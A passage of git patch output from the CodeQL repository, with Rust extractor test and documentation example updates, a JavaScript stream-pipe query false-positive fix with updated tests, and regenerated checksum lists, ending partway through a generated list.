b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.ql new file mode 100644 index 00000000000..5100891c77a --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.ql @@ -0,0 +1,10 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from UseBoundGenericArgs x, int getNumberOfUseBoundGenericArgs +where + toBeTested(x) and + not x.isUnknown() and + getNumberOfUseBoundGenericArgs = x.getNumberOfUseBoundGenericArgs() +select x, "getNumberOfUseBoundGenericArgs:", getNumberOfUseBoundGenericArgs diff --git a/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.ql b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.ql new file mode 100644 index 00000000000..794bf615b04 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from UseBoundGenericArgs x, int index +where toBeTested(x) and not x.isUnknown() +select x, index, x.getUseBoundGenericArg(index) diff --git a/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/gen_use_bound_generic_args.rs b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/gen_use_bound_generic_args.rs new file mode 100644 index 00000000000..bb04264d33e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/gen_use_bound_generic_args.rs @@ -0,0 +1,9 @@ +// generated by codegen, do not edit + +fn test_use_bound_generic_args() -> () { + // A use<..> bound to control which generic parameters are captured by an impl Trait return type. + // + // For example: + pub fn hello<'a, T, const N: usize>() -> impl Sized + use<'a, T, N> {} + // ^^^^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/UseTree/gen_use_tree.rs b/rust/ql/test/extractor-tests/generated/UseTree/gen_use_tree.rs index 56dba336e8a..176990c139a 100644 --- a/rust/ql/test/extractor-tests/generated/UseTree/gen_use_tree.rs +++ b/rust/ql/test/extractor-tests/generated/UseTree/gen_use_tree.rs @@ -1,7 +1,7 @@ // generated by codegen, do not edit fn test_use_tree() -> () { - // A UseTree. For example: + // A `use` tree, ie the part after the `use` keyword in a `use` statement. For example: use std::collections::HashMap; use std::collections::*; use std::collections::HashMap as MyHashMap; diff --git a/rust/ql/test/extractor-tests/generated/UseTreeList/gen_use_tree_list.rs b/rust/ql/test/extractor-tests/generated/UseTreeList/gen_use_tree_list.rs index dfbdef69408..63eba516c3f 100644 --- a/rust/ql/test/extractor-tests/generated/UseTreeList/gen_use_tree_list.rs +++ b/rust/ql/test/extractor-tests/generated/UseTreeList/gen_use_tree_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_use_tree_list() -> () { - // A UseTreeList. For example: - todo!() + // A list of use trees in a use declaration. + // + // For example: + use std::{fs, io}; + // ^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Variant/gen_variant.rs b/rust/ql/test/extractor-tests/generated/Variant/gen_variant.rs index 37e7506e2bc..91d4614d5ed 100644 --- a/rust/ql/test/extractor-tests/generated/Variant/gen_variant.rs +++ b/rust/ql/test/extractor-tests/generated/Variant/gen_variant.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_variant() -> () { - // A Variant. For example: - todo!() + // A variant in an enum declaration. + // + // For example: + enum E { A, B(i32), C { x: i32 } } + // ^ ^^^^^^ ^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/VariantList/gen_variant_list.rs b/rust/ql/test/extractor-tests/generated/VariantList/gen_variant_list.rs index c13f6430cc6..44a126fbbc8 100644 --- a/rust/ql/test/extractor-tests/generated/VariantList/gen_variant_list.rs +++ b/rust/ql/test/extractor-tests/generated/VariantList/gen_variant_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_variant_list() -> () { - // A VariantList. For example: - todo!() + // A list of variants in an enum declaration. + // + // For example: + enum E { A, B, C } + // ^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Visibility/gen_visibility.rs b/rust/ql/test/extractor-tests/generated/Visibility/gen_visibility.rs index 5dbc762f3e7..7d8f0a81e26 100644 --- a/rust/ql/test/extractor-tests/generated/Visibility/gen_visibility.rs +++ b/rust/ql/test/extractor-tests/generated/Visibility/gen_visibility.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_visibility() -> () { - // A Visibility. For example: - todo!() + // A visibility modifier. + // + // For example: + pub struct S; + //^^^ } diff --git a/rust/ql/test/extractor-tests/generated/WhereClause/gen_where_clause.rs b/rust/ql/test/extractor-tests/generated/WhereClause/gen_where_clause.rs index ef389c9ee4f..9d3dd408d40 100644 --- a/rust/ql/test/extractor-tests/generated/WhereClause/gen_where_clause.rs +++ b/rust/ql/test/extractor-tests/generated/WhereClause/gen_where_clause.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_where_clause() -> () { - // A WhereClause. For example: - todo!() + // A where clause in a generic declaration. + // + // For example: + fn foo(t: T) where T: Debug {} + // ^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/WherePred/gen_where_pred.rs b/rust/ql/test/extractor-tests/generated/WherePred/gen_where_pred.rs index 781d4697e20..48a6b7bf256 100644 --- a/rust/ql/test/extractor-tests/generated/WherePred/gen_where_pred.rs +++ b/rust/ql/test/extractor-tests/generated/WherePred/gen_where_pred.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_where_pred() -> () { - // A WherePred. For example: - todo!() + // A predicate in a where clause. + // + // For example: + fn foo(t: T, u: U) where T: Debug, U: Clone {} + // ^^^^^^^^ ^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/WhileExpr/gen_while_expr.rs b/rust/ql/test/extractor-tests/generated/WhileExpr/gen_while_expr.rs index 5078a8a794f..92f095e34d2 100644 --- a/rust/ql/test/extractor-tests/generated/WhileExpr/gen_while_expr.rs +++ b/rust/ql/test/extractor-tests/generated/WhileExpr/gen_while_expr.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_while_expr() -> () { - // A WhileExpr. For example: - todo!() + // A while loop expression. + // + // For example: + while x < 10 { + x += 1; + } } From 0157c16008afe2836032594c916419455e6e9761 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Fri, 30 May 2025 12:57:45 +0200 Subject: [PATCH 104/271] Rust: delete empty expected file --- .../dataflow/sources/CONSISTENCY/ExtractionConsistency.expected | 0 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/ExtractionConsistency.expected diff --git a/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/ExtractionConsistency.expected b/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/ExtractionConsistency.expected deleted file mode 100644 index e69de29bb2d..00000000000 From f843cc02f6ab283c8c34836afae84e3c7b2ab6db Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Fri, 30 May 2025 18:08:04 +0200 Subject: [PATCH 105/271] Fix false positives in stream pipe analysis by improving error handler tracking via property access. --- .../ql/src/Quality/UnhandledStreamPipe.ql | 24 ++++++++++++++++--- .../Quality/UnhandledStreamPipe/test.expected | 2 +- .../Quality/UnhandledStreamPipe/tst.js | 4 ++-- 3 files changed, 24 insertions(+), 6 deletions(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index 2c5716ef527..d3a0af8786e 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -218,7 +218,17 @@ private DataFlow::SourceNode sourceStreamRef(PipeCall pipeCall) { * Holds if the source stream of the given pipe call has an `error` handler registered. */ private predicate hasErrorHandlerRegistered(PipeCall pipeCall) { - sourceStreamRef(pipeCall).getAMethodCall(_) instanceof ErrorHandlerRegistration + exists(DataFlow::Node stream | + stream = sourceStreamRef(pipeCall).getALocalUse() and + ( + stream.(DataFlow::SourceNode).getAMethodCall(_) instanceof ErrorHandlerRegistration + or + exists(DataFlow::SourceNode base, string propName | + stream = base.getAPropertyRead(propName) and + base.getAPropertyRead(propName).getAMethodCall(_) instanceof ErrorHandlerRegistration + ) + ) + ) or hasPlumber(pipeCall) } @@ -262,8 +272,16 @@ private predicate hasNonStreamSourceLikeUsage(PipeCall pipeCall) { * Holds if the pipe call destination stream has an error handler registered. */ private predicate hasErrorHandlerDownstream(PipeCall pipeCall) { - exists(ErrorHandlerRegistration handler | - handler.getReceiver().getALocalSource() = destinationStreamRef(pipeCall) + exists(DataFlow::SourceNode stream | + stream = destinationStreamRef(pipeCall) and + ( + exists(ErrorHandlerRegistration handler | handler.getReceiver().getALocalSource() = stream) + or + exists(DataFlow::SourceNode base, string propName | + stream = base.getAPropertyRead(propName) and + base.getAPropertyRead(propName).getAMethodCall(_) instanceof ErrorHandlerRegistration + ) + ) ) } diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index 6d6012c0005..99d6ed002d9 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -12,9 +12,9 @@ | test.js:182:17:182:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:192:5:192:32 | copyStr ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | tst.js:8:5:8:21 | source.pipe(gzip) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| tst.js:29:5:29:40 | wrapper ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | tst.js:37:21:37:56 | wrapper ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | tst.js:44:5:44:40 | wrapper ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| tst.js:52:5:52:37 | source. ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | tst.js:59:18:59:39 | stream. ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | tst.js:73:5:73:40 | wrapper ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | tst.js:111:5:111:26 | stream. ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js index 01ad872a748..3d962974fb8 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js @@ -26,7 +26,7 @@ function zip() { function zip1() { const zipStream = createWriteStream(zipPath); let wrapper = new StreamWrapper(); - wrapper.outputStream.pipe(zipStream); // $SPURIOUS:Alert + wrapper.outputStream.pipe(zipStream); wrapper.outputStream.on('error', e); zipStream.on('error', e); } @@ -49,7 +49,7 @@ function zip3() { const zipStream = createWriteStream(zipPath); let wrapper = new StreamWrapper(); let source = getStream(); - source.pipe(wrapper.outputStream); // $MISSING:Alert + source.pipe(wrapper.outputStream); // $Alert wrapper.outputStream.on('error', e); } From 0c8e8868217efcb0895cf6dd31cc05da32f2a385 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Fri, 30 May 2025 12:59:13 +0200 Subject: [PATCH 106/271] Rust: fix QLdoc examples --- rust/schema/annotations.py | 96 +++++++++++++++++++++++++++----------- 1 file changed, 69 insertions(+), 27 deletions(-) diff --git a/rust/schema/annotations.py b/rust/schema/annotations.py index 7c65ab5b9c0..fa63996f2f1 100644 --- a/rust/schema/annotations.py +++ b/rust/schema/annotations.py @@ -644,7 +644,8 @@ class _: An inline assembly expression. For example: ```rust unsafe { - builtin # asm(_); + #[inline(always)] + builtin # asm("cmp {0}, {1}", in(reg) a, in(reg) b); } ``` """ @@ -932,8 +933,13 @@ class _: For example: ```rust - ::Item - // ^^^^ + fn process_cloneable(iter: T) + where + T: Iterator + // ^^^^^^^^^^^ + { + // ... + } ``` """ @@ -959,8 +965,13 @@ class _: For example: ```rust - for <'a> |x: &'a u32 | x - // ^^^^^^ + let print_any = for |x: T| { + // ^^^^^^^^^^^^^^^^^^^^^^^ + println!("{:?}", x); + }; + + print_any(42); + print_any("hello"); ``` """ @@ -1135,8 +1146,13 @@ class _: For example: ```rust - for <'a> fn(&'a str) - // ^^^^^ + fn foo(value: T) + where + T: for<'a> Fn(&'a str) -> &'a str + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + { + // ... + } ``` """ @@ -1311,8 +1327,8 @@ class _: For example: ```rust - Foo<'a> - // ^^ + let text: Text<'a>; + // ^^ ``` """ @@ -1399,6 +1415,9 @@ class _: For example: ```rust + macro_rules! macro_type { + () => { i32 }; + } type T = macro_type!(); // ^^^^^^^^^^^^^ ``` @@ -1445,8 +1464,13 @@ class _: For example: ```rust - #[cfg(feature = "foo")] - // ^^^^^^^^^^^^^^^ + #[unsafe(lint::name = "reason_for_bypass")] + //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + #[deprecated(since = "1.2.0", note = "Use bar instead", unsafe=true)] + //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + fn foo() { + // ... + } ``` """ @@ -1578,8 +1602,8 @@ class _: """ A path referring to a type. For example: ```rust - let x: (i32); - // ^^^ + type X = std::collections::HashMap; + type Y = X::Item; ``` """ @@ -2187,14 +2211,12 @@ class FormatArgument(Locatable): @annotate(MacroDef) class _: """ - A macro definition using the `macro_rules!` or similar syntax. + A Rust 2.0 style declarative macro definition. For example: ```rust - macro_rules! my_macro { - () => { - println!("This is a macro!"); - }; + pub macro vec_of_two($element:expr) { + vec![$element, $element] } ``` """ @@ -2219,8 +2241,14 @@ class _: For example: ```rust + macro_rules! my_macro { + () => { + Ok(_) + }; + } match x { my_macro!() => "matched", + // ^^^^^^^^^^^ _ => "not matched", } ``` @@ -2243,12 +2271,13 @@ class _: @annotate(AsmDirSpec) class _: """ - An inline assembly directive specification. + An inline assembly direction specifier. For example: ```rust - asm!("nop"); - // ^^^^^ + use core::arch::asm; + asm!("mov {input:x}, {input:x}", output = out(reg) x, input = in(reg) y); + // ^^^ ^^ ``` """ @@ -2260,6 +2289,7 @@ class _: For example: ```rust + use core::arch::asm; asm!("mov {0}, {1}", out(reg) x, in(reg) y); // ^ ^ ``` @@ -2273,6 +2303,7 @@ class _: For example: ```rust + use core::arch::asm; asm!("", options(nostack, nomem)); // ^^^^^^^^^^^^^^^^ ``` @@ -2286,8 +2317,9 @@ class _: For example: ```rust - asm!("mov {0}, {1}", out("eax") x, in("ebx") y); - // ^^^ ^^^ + use core::arch::asm; + asm!("mov {0}, {1}", out("eax") x, in(EBX) y); + // ^^^ ^^^ ``` """ @@ -2299,6 +2331,7 @@ class _: For example: ```rust + use core::arch::asm; asm!("", clobber_abi("C")); // ^^^^^^^^^^^^^^^^ ``` @@ -2312,6 +2345,7 @@ class _: For example: ```rust + use core::arch::asm; asm!("mov eax, {const}", const 42); // ^^^^^^^ ``` @@ -2325,8 +2359,12 @@ class _: For example: ```rust - asm!("jmp {label}", label = sym my_label); - // ^^^^^^^^^^^^^^^^^^^^^^ + use core::arch::asm; + asm!( + "jmp {}", + label { println!("Jumped from asm!"); } + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + ); ``` """ @@ -2338,8 +2376,9 @@ class _: For example: ```rust - asm!("mov {out}, {in}", out = out(reg) x, in = in(reg) y); - // ^^^^^ ^^^^ + use core::arch::asm; + asm!("mov {0:x}, {input:x}", out(reg) x, input = in(reg) y); + // ^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ ``` """ @@ -2351,6 +2390,7 @@ class _: For example: ```rust + use core::arch::asm; asm!("", options(nostack, nomem)); // ^^^^^^^^^^^^^^^^ ``` @@ -2364,6 +2404,7 @@ class _: For example: ```rust + use core::arch::asm; asm!("mov {0}, {1}", out(reg) x, in(reg) y); // ^ ^ ``` @@ -2377,6 +2418,7 @@ class _: For example: ```rust + use core::arch::asm; asm!("call {sym}", sym = sym my_function); // ^^^^^^^^^^^^^^^^^^^^^^ ``` From c44a7c3036e38267341cd8b48c545189258a0a62 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Fri, 30 May 2025 13:00:23 +0200 Subject: [PATCH 107/271] Rust: codegen --- rust/ql/.generated.list | 128 +++++++++--------- .../internal/generated/CfgNodes.qll | 9 +- .../codeql/rust/elements/AsmClobberAbi.qll | 1 + rust/ql/lib/codeql/rust/elements/AsmConst.qll | 1 + .../lib/codeql/rust/elements/AsmDirSpec.qll | 7 +- rust/ql/lib/codeql/rust/elements/AsmExpr.qll | 3 +- rust/ql/lib/codeql/rust/elements/AsmLabel.qll | 8 +- .../codeql/rust/elements/AsmOperandExpr.qll | 1 + .../codeql/rust/elements/AsmOperandNamed.qll | 5 +- .../ql/lib/codeql/rust/elements/AsmOption.qll | 1 + .../codeql/rust/elements/AsmOptionsList.qll | 1 + .../codeql/rust/elements/AsmRegOperand.qll | 1 + .../lib/codeql/rust/elements/AsmRegSpec.qll | 5 +- rust/ql/lib/codeql/rust/elements/AsmSym.qll | 1 + .../lib/codeql/rust/elements/AssocTypeArg.qll | 9 +- .../codeql/rust/elements/ClosureBinder.qll | 9 +- .../lib/codeql/rust/elements/ForTypeRepr.qll | 9 +- .../lib/codeql/rust/elements/LifetimeArg.qll | 4 +- rust/ql/lib/codeql/rust/elements/MacroDef.qll | 8 +- rust/ql/lib/codeql/rust/elements/MacroPat.qll | 6 + .../codeql/rust/elements/MacroTypeRepr.qll | 3 + rust/ql/lib/codeql/rust/elements/Meta.qll | 9 +- .../lib/codeql/rust/elements/PathTypeRepr.qll | 4 +- .../elements/internal/AsmClobberAbiImpl.qll | 1 + .../rust/elements/internal/AsmConstImpl.qll | 1 + .../rust/elements/internal/AsmDirSpecImpl.qll | 7 +- .../rust/elements/internal/AsmExprImpl.qll | 3 +- .../rust/elements/internal/AsmLabelImpl.qll | 8 +- .../elements/internal/AsmOperandExprImpl.qll | 1 + .../elements/internal/AsmOperandNamedImpl.qll | 5 +- .../rust/elements/internal/AsmOptionImpl.qll | 1 + .../elements/internal/AsmOptionsListImpl.qll | 1 + .../elements/internal/AsmRegOperandImpl.qll | 1 + .../rust/elements/internal/AsmRegSpecImpl.qll | 5 +- .../rust/elements/internal/AsmSymImpl.qll | 1 + .../elements/internal/AssocTypeArgImpl.qll | 9 +- .../elements/internal/ClosureBinderImpl.qll | 9 +- .../elements/internal/ForTypeReprImpl.qll | 9 +- .../elements/internal/LifetimeArgImpl.qll | 4 +- .../rust/elements/internal/MacroDefImpl.qll | 8 +- .../rust/elements/internal/MacroPatImpl.qll | 6 + .../elements/internal/MacroTypeReprImpl.qll | 3 + .../rust/elements/internal/MetaImpl.qll | 9 +- .../elements/internal/PathTypeReprImpl.qll | 4 +- .../internal/generated/AsmClobberAbi.qll | 1 + .../elements/internal/generated/AsmConst.qll | 1 + .../internal/generated/AsmDirSpec.qll | 7 +- .../elements/internal/generated/AsmExpr.qll | 3 +- .../elements/internal/generated/AsmLabel.qll | 8 +- .../internal/generated/AsmOperandExpr.qll | 1 + .../internal/generated/AsmOperandNamed.qll | 5 +- .../elements/internal/generated/AsmOption.qll | 1 + .../internal/generated/AsmOptionsList.qll | 1 + .../internal/generated/AsmRegOperand.qll | 1 + .../internal/generated/AsmRegSpec.qll | 5 +- .../elements/internal/generated/AsmSym.qll | 1 + .../internal/generated/AssocTypeArg.qll | 9 +- .../internal/generated/ClosureBinder.qll | 9 +- .../internal/generated/ForTypeRepr.qll | 9 +- .../internal/generated/LifetimeArg.qll | 4 +- .../elements/internal/generated/MacroDef.qll | 8 +- .../elements/internal/generated/MacroPat.qll | 6 + .../internal/generated/MacroTypeRepr.qll | 3 + .../rust/elements/internal/generated/Meta.qll | 9 +- .../internal/generated/PathTypeRepr.qll | 4 +- .../rust/elements/internal/generated/Raw.qll | 96 +++++++++---- .../generated/.generated_tests.list | 42 +++--- .../AsmClobberAbi/gen_asm_clobber_abi.rs | 1 + .../generated/AsmConst/gen_asm_const.rs | 1 + .../generated/AsmDirSpec/gen_asm_dir_spec.rs | 7 +- .../generated/AsmExpr/gen_asm_expr.rs | 3 +- .../generated/AsmLabel/gen_asm_label.rs | 8 +- .../AsmOperandExpr/gen_asm_operand_expr.rs | 1 + .../AsmOperandNamed/gen_asm_operand_named.rs | 5 +- .../generated/AsmOption/gen_asm_option.rs | 1 + .../AsmOptionsList/gen_asm_options_list.rs | 1 + .../AsmRegOperand/gen_asm_reg_operand.rs | 1 + .../generated/AsmRegSpec/gen_asm_reg_spec.rs | 5 +- .../generated/AsmSym/gen_asm_sym.rs | 1 + .../AssocTypeArg/gen_assoc_type_arg.rs | 9 +- .../ClosureBinder/gen_closure_binder.rs | 9 +- .../ForTypeRepr/gen_for_type_repr.rs | 9 +- .../generated/LifetimeArg/gen_lifetime_arg.rs | 4 +- .../generated/MacroDef/gen_macro_def.rs | 8 +- .../generated/MacroPat/MacroPat.expected | 1 + .../MacroPat/MacroPat_getMacroCall.expected | 1 + .../generated/MacroPat/gen_macro_pat.rs | 6 + .../MacroTypeRepr/MacroTypeRepr.expected | 1 + .../MacroTypeRepr_getMacroCall.expected | 1 + .../MacroTypeRepr/gen_macro_type_repr.rs | 3 + .../generated/Meta/gen_meta.rs | 9 +- .../generated/Path/gen_path_type_repr.rs | 4 +- 92 files changed, 442 insertions(+), 221 deletions(-) diff --git a/rust/ql/.generated.list b/rust/ql/.generated.list index 32bc07a9652..22182895657 100644 --- a/rust/ql/.generated.list +++ b/rust/ql/.generated.list @@ -1,4 +1,4 @@ -lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll c103cb9d949d1b5fbfefd94ce57b0461d750aaf87149f6d0ffe73f5ea58b5a74 a8ec5dbb29f6ad5c06ffb451bf67674bdc5747ddad32baebba229f77fc2abe93 +lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll 5a615bdde6f762f7c2e5f656aa1e57c74ada74f395e55114813b814358f5f395 864c33513287252507829e258bface3d53e1aa4398e841ce1c81c803dc7ba3f5 lib/codeql/rust/elements/Abi.qll 485a2e79f6f7bfd1c02a6e795a71e62dede3c3e150149d5f8f18b761253b7208 6159ba175e7ead0dd2e3f2788f49516c306ee11b1a443bd4bdc00b7017d559bd lib/codeql/rust/elements/Addressable.qll 13011bfd2e1556694c3d440cc34af8527da4df49ad92b62f2939d3699ff2cea5 ddb25935f7553a1a384b1abe2e4b4fa90ab50b952dadec32fd867afcb054f4be lib/codeql/rust/elements/ArgList.qll 3d2f6f5542340b80a4c6e944ac17aba0d00727588bb66e501453ac0f80c82f83 afd52700bf5a337f19827846667cd0fb1fea5abbbcbc353828e292a727ea58c9 @@ -6,23 +6,23 @@ lib/codeql/rust/elements/ArrayExpr.qll e4e7cff3518c50ec908271906dd46c1fbe9098faa lib/codeql/rust/elements/ArrayListExpr.qll 451aedcecb479c385ff497588c7a07fda304fd5b873270223a4f2c804e96b245 a8cb008f6f732215623b5626c84b37b651ca01ccafb2cf4c835df35d5140c6ad lib/codeql/rust/elements/ArrayRepeatExpr.qll 4b7ed5be7d2caaf69f6fc0cd05b0e2416c52d547b1a73fb23d5a13007f75f4dd f6366f21cc48376b5fdf37e8c5c2b19415d4cbdeef09f33bb99cde5cb0f5b0e7 lib/codeql/rust/elements/ArrayTypeRepr.qll a3e61c99567893aa26c610165696e54d11c16053b6b7122275eff2c778f0a52d 36a487dcb083816b85f3eec181a1f9b47bba012765486e54db61c7ffe9a0fcbf -lib/codeql/rust/elements/AsmClobberAbi.qll 158cb4b2eefa71ea7765a1df6e855015cffea48e9b77276c89ee39a871935f89 feb43771a5dc7da9558af12429011ec89eb515533ef30abd0069f54a3d0c758e -lib/codeql/rust/elements/AsmConst.qll d496390040cf7e2d8f612f79405668178641f5dad5177b2853a508b427e74805 1ab508d55d90e80d74b648a8c0f0a23e3456f5deb858cff1d3f64c04df63b1e2 -lib/codeql/rust/elements/AsmDirSpec.qll f2fcb1812e84b5362d8ebb77c34a36458a52f5b37948e50ea22b1b2fe30c1196 caf2604cfddd0163172e6335411f6a0e6e0d3df6b0a77eb1320a4ab314541fba -lib/codeql/rust/elements/AsmExpr.qll 1b0899fb7c0b6478fa102ccd0d30cac25aeca5c81d102158b15353ca498130c8 3802c40b748976c5b6dfd79315452ab34532ba46caf19fa8fbf557968e8fea74 -lib/codeql/rust/elements/AsmLabel.qll e56c12b0e730b5761c3c4c14f16b93bf7b44fa4e9e5a5d5483e4b17e407e753b 5c36f58ea21e69b7fdacd718dae8ed3e2dd8ae4aa0b0bb3d11c8275580e93bed +lib/codeql/rust/elements/AsmClobberAbi.qll eb5628916f41ab47e333b4528fba3fb80caecd2805fb20ba4f5c8d59c9677f14 636fce6b3a7f04141d0d3a53734d08a188a45bcc04f755bb66746d4f0a13fa72 +lib/codeql/rust/elements/AsmConst.qll f408468624dd0c80c6dcf62d17e65a94cd477a5a760be1b5fdd07c8189a3b4ea e4159073b3ee6d247e8962ce925da55ea39ee2cd1649f8b785a92aea17dbf144 +lib/codeql/rust/elements/AsmDirSpec.qll 0c439c031c9f60596373aee8ae2ee70068582548ae365a3c7c19c8b5e2b030d2 0127b08b99bd8725cb6273c1a930aef4434897f23611cfc4ec2dd1b7c9d7e3d0 +lib/codeql/rust/elements/AsmExpr.qll 33a9a873ba05235dd80103ed22555eee220a4c0cb86605d0f76bcda316605449 c8a99b7bd55aac41e56d05cd5a52692f1d835ed3e1a1bd029bb41d8e2b81b240 +lib/codeql/rust/elements/AsmLabel.qll 5fa3401c49329ddc845bd95d5f498a455202f685e962dfec9bc91550577da800 f54fe1dcd3c76f36e6abc7b56dc5d6f5b1c30d0fb434db21dd8a1ce731fc6abf lib/codeql/rust/elements/AsmOperand.qll 3987a289233fe09f41f20b27939655cc72fa46847969a55cca6d6393f906969a 8810ff2a64f29d1441a449f5fd74bdc1107782172c7a21baaeb48a40930b7d5a -lib/codeql/rust/elements/AsmOperandExpr.qll 56669c4791f598f20870d36b7954f9c9ed62e5c05045dae6d5eeede461af59e3 195f5563adef36b3876325bd908fed51c257d16d64264ce911425da642555693 -lib/codeql/rust/elements/AsmOperandNamed.qll 40042ce52f87482813b6539b0c49bfa5e35a419325ef593d3e91470d38240e26 497d277e03deab4990fad6128b235cf7fe24d0d523a3b4aaf4d20bcc46a4a4de -lib/codeql/rust/elements/AsmOption.qll 25b1f0e2dacee43eaa38246f654d603889b344eebede7ac91350bc59135c3467 85ba7f8c129441379b1c1fe821c90ab9ccdec2e2d495e143e13aaae2194defa1 -lib/codeql/rust/elements/AsmOptionsList.qll 98a3392da91d34b8e642f6cef1f93d3a2c0aa474044d6bb15c0879f464bfed77 b89d838a41059ad14aec11921173f89d416feb3f0d4e8762d5e65aa105507466 +lib/codeql/rust/elements/AsmOperandExpr.qll 72d4455cf742dc977b0a33ea21539422aaf2263f36c6f4420ddcb360ac606a0a 03bd01e81b291c915deb20ce33d5bdf73a709fbc007ab7570490e9a8e7c8604c +lib/codeql/rust/elements/AsmOperandNamed.qll c65bcf6f4ad5ebb447873ac170bd5d29dc5fe557f7aaccbdb46a09b2583df673 d7e277e43414ca2c529c5a4e967f4c6cca34ee7239ab1a993558b0731ce9722b +lib/codeql/rust/elements/AsmOption.qll 7ad333a4bb152dbf7c1df0d90424ff20031841822e49b26cc615230b1c186581 9c2a087ea7f7c386eff170337f0c29568dea3d49a570b35207652b08e24a9355 +lib/codeql/rust/elements/AsmOptionsList.qll 3dd55a8b15ada811c9225b0fe9b733eabf22313e7bd1ae6a99fdcb9a6facea07 32d996dde8802e4a2afd8c3624f055cb4e4c18591dc236f3b5bf0c0d4e57f822 lib/codeql/rust/elements/AsmPiece.qll 8650bf07246fac95533876db66178e4b30ed3210de9487b25acd2da2d145416a 42155a47d5d5e6ea2833127e78059fa81126a602e178084957c7d9ff88c1a9a3 -lib/codeql/rust/elements/AsmRegOperand.qll 6c58d51d1b72a4e2fbbd4a42a7bc40dd4e75ffba45e5c75e5a156b65bc7377e9 824d2e18efda880a15e61cd564f36303230045dec749071861e7ed51e0de9cee -lib/codeql/rust/elements/AsmRegSpec.qll 50b21381211d462fb4c95e5b1499b2b29d0308e993a9f15267d69fbbca89dd3c 60e9b7ce4c272c3a7a4dde39c650746cfea111038eaee89c73336ea3378415da -lib/codeql/rust/elements/AsmSym.qll dfc28fc4a81d5d2b1696ee110468252d7914a30898273bc8900537584af8410d 04f5a3887471193919a9ea1fd810abe50b647e4e29f8bb7fa66658e42393122d +lib/codeql/rust/elements/AsmRegOperand.qll 27abfffe1fc99e243d9b915f9a9694510133e5f72100ec0df53796d27a45de0c 8919ab83081dae2970adb6033340c6a18751ffd6a8157cf8c55916ac4253c791 +lib/codeql/rust/elements/AsmRegSpec.qll 77483fc3d1de8761564e2f7b57ecf1300d67de50b66c11144bb4e3e0059ebfd6 521f8dd0af859b7eef6ab2edab2f422c9ff65aa11bad065cfba2ec082e0c786b +lib/codeql/rust/elements/AsmSym.qll ba29b59ae2a4aa68bdc09e61b324fd26e8b7e188af852345676fc5434d818eef 